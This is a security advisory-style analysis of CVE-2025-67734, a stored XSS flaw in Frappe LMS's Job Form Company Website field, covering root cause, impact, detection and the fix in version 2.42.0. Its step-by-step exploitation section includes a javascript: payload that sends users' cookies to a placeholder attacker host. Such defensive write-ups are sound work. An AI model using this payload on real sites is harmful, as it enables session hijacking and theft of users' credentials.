CVE-2025-67734: 
NixOS vulnerability analysis and mitigation

CVE-2025-67734 is a stored Cross-Site Scripting (XSS) vulnerability in Frappe Learning Management System (LMS) that allows authenticated attackers to inject malicious JavaScript via the Company Website field of the Job Form. The injected script executes in the browsers of any user who views the affected job posting. It affects Frappe LMS versions 2.0.0 through prior to 2.42.0; the issue was disclosed on December 12, 2025, and patched in version 2.42.0. The CVSS v3.1 base score is 5.4 (Medium) (GitHub Advisory, Red Hat).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79). The vulnerability existed because the validate_url function in job_opportunity.py used prefix strings "http://" and "https://" for validation, which could be bypassed by supplying a javascript: URI or similar non-HTTP scheme, allowing script injection. The fix (commit ca849da) corrects the validation to check for prefixes "http" and "https" (without trailing ://), ensuring only valid HTTP/HTTPS URLs are accepted. No public proof-of-concept exploit code has been identified (GitHub Commit, GitHub Advisory).

Successful exploitation allows an authenticated attacker to store a malicious script that executes in the browsers of all users who view the poisoned job posting, without requiring any further attacker interaction after initial submission. Potential consequences include session hijacking, theft of authentication cookies or credentials, unauthorized actions performed on behalf of victims, and compromise of the user's browsing context within the LMS application. The scope is changed (C:L/I:L per CVSS), meaning the impact extends beyond the attacker's own session to affect other users (GitHub Advisory, Red Hat).

There is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept at this time. The vulnerability requires the attacker to be authenticated (low privileges required) and victim interaction (a user must open the malicious job posting). The EPSS score is approximately 0.047%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Red Hat).

1. Authenticate: Log in to a vulnerable Frappe LMS instance (versions 2.0.0–2.41.x) with any valid user account that has permission to create or edit job postings.
2. Navigate to Job Form: Access the Job Opportunity creation or editing form within the LMS.
3. Inject malicious payload: In the Company Website field, enter a javascript: URI payload such as javascript:document.location='https://attacker.example/steal?c='+document.cookie instead of a legitimate URL.
4. Submit the form: Save or publish the job posting, causing the malicious value to be stored in the database without sanitization.
5. Wait for victim interaction: When any user (including administrators) opens the job posting page, their browser renders the Company Website field and executes the injected JavaScript.
6. Harvest results: The attacker's script runs in the victim's browser context, potentially exfiltrating session cookies, credentials, or performing actions on behalf of the victim (GitHub Advisory, GitHub Commit).

• Application Logs: Entries showing job opportunity records saved with a company_website field value beginning with javascript: or other non-HTTP schemes rather than http:// or https://.
• Database: Job opportunity records in the Frappe LMS database where the company_website column contains script tags, javascript: URIs, or encoded variants (e.g., javascript:).
• Network: Unexpected outbound requests from user browsers to unknown external domains shortly after viewing job postings; potential exfiltration of cookie or session data via GET parameters to attacker-controlled servers.
• Browser/Client-Side: Users reporting unexpected redirects, pop-ups, or session invalidation after viewing job postings on the LMS platform.

The primary remediation is to upgrade Frappe LMS to version 2.42.0 or later, which corrects the URL validation logic in the Job Form to reject non-HTTP/HTTPS schemes (GitHub Advisory, GitHub Commit). As a temporary workaround prior to patching, administrators can restrict access to the Job Form creation feature to trusted users only, or disable job posting functionality. Additionally, deploying a Content Security Policy (CSP) header that restricts script execution sources can reduce the impact of any stored XSS payloads. Existing job postings should be audited for malicious company_website values.

The vulnerability was reported by security researcher Alex Perrakis and disclosed via GitHub Security Advisories on December 11–12, 2025 (GitHub Advisory). No significant broader media coverage or notable community commentary beyond standard vulnerability database aggregation has been identified.